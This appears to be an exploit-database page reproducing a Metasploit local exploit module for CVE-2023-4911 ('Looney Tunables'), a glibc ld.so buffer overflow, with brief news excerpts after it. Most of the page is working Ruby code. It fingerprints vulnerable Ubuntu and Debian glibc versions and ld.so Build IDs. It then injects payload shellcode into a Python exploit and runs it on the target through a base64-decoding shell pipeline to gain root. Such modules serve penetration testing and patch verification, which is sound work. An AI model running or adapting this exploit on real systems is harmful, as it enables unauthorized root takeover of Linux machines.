Headline
Glibc Tunables Privilege Escalation
A buffer overflow exists in the GNU C Library’s dynamic loader ld.so while processing the GLIBC_TUNABLES environment variable. It has been dubbed Looney Tunables. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES when launching binaries with SUID permission to execute code in the context of the root user. This Metasploit module targets glibc packaged on Ubuntu and Debian. Fedora 37 and 38 and other distributions of linux also come packaged with versions of glibc vulnerable to CVE-2023-4911 however this module does not target them.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking # includes: is_root? include Msf::Post::Linux::Priv # includes: kernel_release include Msf::Post::Linux::Kernel # include: get_sysinfo include Msf::Post::Linux::System # includes writable?, upload_file, upload_and_chmodx, exploit_data, cd include Msf::Post::File # includes register_files_for_cleanup include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck BUILD_IDS = { '69c048078b6c51fa8744f3d7cff3b0d9369ffd53' => 561, '3602eac894717d56555552c84fc6b0e4d6a4af72' => 561, 'a99db3715218b641780b04323e4ae5953d68a927' => 561, 'a8daca28288575ffc8c7641d40901b0148958fb1' => 580, '61ef896a699bb1c2e4e231642b2e1688b2f1a61e' => 560, '9a9c6aeba5df4178de168e26fe30ddcdab47d374' => 580, 'e7b1e0ff3d359623538f4ae0ac69b3e8db26b674' => 580, '956d98a11b839e3392fa1b367b1e3fdfc3e662f6' => 322 } def initialize(info = {}) super( update_info( info, 'Name' => 'Glibc Tunables Privilege Escalation CVE-2023-4911 (aka Looney Tunables)', 'Description' => %q{ A buffer overflow exists in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES environment variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES when launching binaries with SUID permission to execute code in the context of the root user. This module targets glibc packaged on Ubuntu and Debian. The specific glibc versions this module targets are: Ubuntu: 2.35-0ubuntu3.4 > 2.35 2.37-0ubuntu2.1 > 2.37 2.38-1ubuntu6 > 2.38 Debian: 2.31-13-deb11u7 > 2.31 2.36-9-deb12u3 > 2.36 Fedora 37 and 38 and other distributions of linux also come packaged with versions of glibc vulnerable to CVE-2023-4911 however this module does not target them. }, 'Author' => [ 'Qualys Threat Research Unit', # discovery 'blasty <[email protected]>', # PoC 'jheysel-r7' # msf module ], 'References' => [ ['CVE', '2023-4911'], ['URL', 'https://haxx.in/files/gnu-acme.py'], ['URL', 'https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt'], ['URL', 'https://security-tracker.debian.org/tracker/CVE-2023-4911'], ['URL', 'https://ubuntu.com/security/CVE-2023-4911'] ], 'License' => MSF_LICENSE, 'Platform' => [ 'linux', 'unix' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'DefaultTarget' => 0, 'DefaultOptions' => { 'PrependSetresgid' => true, 'PrependSetresuid' => true, 'WfsDelay' => 600 }, 'DisclosureDate' => '2023-10-03', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_advanced_options([ OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]) ]) end def find_exec_program %w[python python3].select(&method(:command_exists?)).first rescue StandardError => e fail_with(Failure::Unknown, "An error occurred finding a version of python to use: #{e.message}") end def check glibc_version = cmd_exec('ldd --version')&.scan(/ldd\s+\(\w+\s+GLIBC\s+(\S+)\)/)&.flatten&.first return CheckCode::Unknown('Could not get the version of glibc') unless glibc_version sysinfo = get_sysinfo case sysinfo[:distro] when 'ubuntu' # Ubuntu's version looks like: 2.35-0ubuntu3.4. The following massaging is necessary for Rex::Version compatibility test_version = glibc_version.gsub(/-\d+ubuntu/, '.') if Rex::Version.new(test_version).between?(Rex::Version.new('2.35'), Rex::Version.new('2.35.3.4')) || Rex::Version.new(test_version).between?(Rex::Version.new('2.37'), Rex::Version.new('2.37.2.1')) || Rex::Version.new(test_version).between?(Rex::Version.new('2.38'), Rex::Version.new('2.38.6')) return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable") end when 'debian' # Debian's version looks like: 2.36-9+deb12u1. The following massaging is necessary for Rex::Version compatibility test_version = glibc_version.gsub(/\+deb/, '.').gsub(/u/, '.').gsub('-', '.') if Rex::Version.new(test_version).between?(Rex::Version.new('2.31'), Rex::Version.new('2.31.13.11.7')) || Rex::Version.new(test_version).between?(Rex::Version.new('2.36'), Rex::Version.new('2.36.9.12.3')) return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable") end else return CheckCode::Unknown('The module has not been tested against this Linux distribution') end CheckCode::Safe("The glibc version (#{glibc_version}) found on the target does not appear to be vulnerable") end def check_ld_so_build_id # Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so if !command_exists?('file') print_warning('Unable to locate the `file` command ti order to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.') return end file_cmd_output = '' # This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not # defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default. sysinfo = get_sysinfo case sysinfo[:distro] when 'ubuntu' if command_exists?('ldconfig') file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")') end when 'debian' file_cmd_output = cmd_exec('file "$(readlink -f "$(command -v ld.so)")"') else fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution') end if file_cmd_output =~ /BuildID\[.+\]=(\w+),/ build_id = Regexp.last_match(1) if BUILD_IDS.keys.include?(build_id) print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.") else fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.") end else print_warning('Unable to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.') end end def exploit fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root? python_binary = find_exec_program fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary vprint_status("Using '#{python_binary}' to run the exploit") check_ld_so_build_id # The python script assumes the working directory is the one we can write to. cd(datastore['WritableDir']) shell_code = payload.encoded.unpack('H*').first exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py') exploit_data = exploit_data.gsub('METASPLOIT_SHELL_CODE', shell_code) exploit_data = exploit_data.gsub('METASPLOIT_BUILD_IDS', BUILD_IDS.to_s.gsub('=>', ':')) # If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully output = cmd_exec("echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary}") if output.blank? print_good('The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.') else print_line(output) end endendRelated news
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Dubbed Looney Tunables, Qualys discovered a buffer overflow vulnerability in the glibc dynamic loader's processing of the GLIBC_TUNABLES environment variable. This vulnerability was introduced in April 2021 (glibc 2.34) by commit 2ed18c.
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A new Linux security vulnerability dubbed Looney Tunables has been discovered in the GNU C library's ld.so dynamic loader that, if successfully exploited, could lead to a local privilege escalation and allow a threat actor to gain root privileges. Tracked as CVE-2023-4911 (CVSS score: 7.8), the issue is a buffer overflow that resides in the dynamic loader's processing of the GLIBC_TUNABLES
A buffer overflow was discovered in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES environment variable. This issue could allow a local attacker to use maliciously crafted GLIBC_TUNABLES environment variables when launching binaries with SUID permission to execute code with elevated privileges.